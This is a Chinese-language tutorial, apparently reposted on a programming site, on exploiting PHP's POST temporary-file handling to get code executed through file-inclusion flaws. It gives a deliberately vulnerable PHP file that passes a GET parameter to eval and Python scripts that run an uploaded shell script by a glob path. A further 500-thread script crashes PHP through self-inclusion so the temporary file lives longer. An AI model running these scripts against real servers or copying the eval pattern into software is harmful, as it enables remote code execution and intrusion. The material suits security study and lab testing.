这篇文章主要介绍了利用 PHP POST 临时文件机制实现任意文件上传,同时该过程也会打断php对临时文件的处理,虽然最终仍会被删除,但相较之前可以明显看出临时文件在磁盘的中存在的时间变长了,需要的朋友可以参考下
原理
向 PHP 发送 Post 数据包,如果数据包中包含文件,无论 php 代码中有没有处理文件上传的逻辑,php 都会将这个文件保存为一个临时文件
- 该文件默认存储在
/tmp
目录中『可通过php.ini
的upload_tmp_dir
指定存储位置』 - 文件名为
php[6个随机字符]
,例:phpG4ef0q
- 若本次请求正常结束,临时文件会被自动删除
- 若非正常结束,比如崩溃,临时文件可能会被永久保留
在文件包含漏洞找不到可以利用的文件时,即可利用这个方法,找到临时文件名,然后包含之!
如何获取临时文件名
$_FILES
可以通过 $_FILES
获取文件信息
Array
(
[name] => run.sh
[full_path] => run.sh
[type] =>
[tmp_name] => /tmp/phpoFnbQf
[error] => 0
[size] => 10
)
phpinfo
phpinfo 页面会将当前请求上下文中所有变量都打印出来,若我们直接向 phpinfo页面送包含文件的 post请求,则即可在返回包里找到 $_FILES
变量的内容,从而拿到临时文件名
glob
若上述方法都无法实施,在 Linux 中,还可以通过 glob 通配符 定位文件
glob 简单使用:
*
:代替 0 个或 任意个字符?
:代替 1 个字符[...]
:匹配其中一个字符,例[a,b,c]
匹配字符a / b / c
{a, b}
:匹配 a 或者 b
如何利用该文件
组合请求
虽然文件在请求结束后就自动删除了,但是我们可以把执行 shell 和 上传文件 组合在一个请求中,php 代码如下:
该 php 可以直接执行 shell, 但本例仅为展示如何利用临时文件
# a.php
<?php
$code = $_GET['code'];
eval($code);
?>
Python 脚本利用
# run.sh 文件内容:
# echo $PATH
import requests
# 上传文件同时,执行 shell
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
延长临时文件存在时间
部分情况下,我们无法将 上传文件 和 执行shell 组合在一起,利用下述方法使得文件存在更多时间,从而在其他位置进行利用!
可以通过 文件包含
让 php 包含自身从而导致死循环,随后 php 守护进程会因内存溢出而崩溃,但是 php 自身是不会因为错误直接退出的,它会清空自己的内存堆栈,以便从错误中恢复,这就保证了 web 服务的正常运转。
同时该过程也会打断 php 对临时文件的处理,虽然最终仍会被删除,但相较之前可以明显看出临时文件在磁盘的中存在的时间变长了!
基于此,我们便可以编写并发脚本,不断发起 post 文件的请求
import requests
from threading import Thread
def test():
url = "http://localhost:8080/include.php?file=include.php"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
lst = []
for _ in range(500):
t = Thread(target=test)
lst.append(t)
t.start()
for item in lst:
item.join()
可以看到,当我们在请求时,磁盘中总是存在尚未被删除的临时文件。直至请求停止,文件被全部删除
于此同时,便可以在其他地方使用上述 glob 路径通配符泛式加载临时文件
import requests
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.get(url)
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
参考
无字母数字webshell之提高篇
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
PHP临时文件机制与利用的思考
https://www.anquanke.com/post/id/183046
PHP文件包含漏洞(利用phpinfo)复现
https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md
glob(7) — Linux manual page
https://man7.org/linux/man-pages/man7/glob.7.html
操作文件和目录
http://billie66.github.io/TLCL/book/chap05.html
到此这篇关于利用 PHP POST 临时文件机制实现任意文件上传的文章就介绍到这了,更多相关php post任意文件上传内容请搜索编程学习网以前的文章希望大家以后多多支持编程学习网!
本文标题为:利用PHP POST临时文件机制实现任意文件上传的方法详解
基础教程推荐
- PHP获取MySQL执行sql语句的查询时间方法 2022-11-09
- PHP实现Redis单据锁以及防止并发重复写入 2022-10-12
- laravel ORM关联关系中的 with和whereHas用法 2023-03-02
- 使用PHP开发留言板功能 2023-03-13
- PHP中的错误及其处理机制 2023-06-04
- laravel 解决多库下的DB::transaction()事务失效问题 2023-03-08
- php array分组,PHP中array数组的分组排序 2022-08-01
- 在Laravel中实现使用AJAX动态刷新部分页面 2023-03-02
- PHP命名空间简单用法示例 2022-12-01
- thinkphp3.2.3框架动态切换多数据库的方法分析 2023-03-19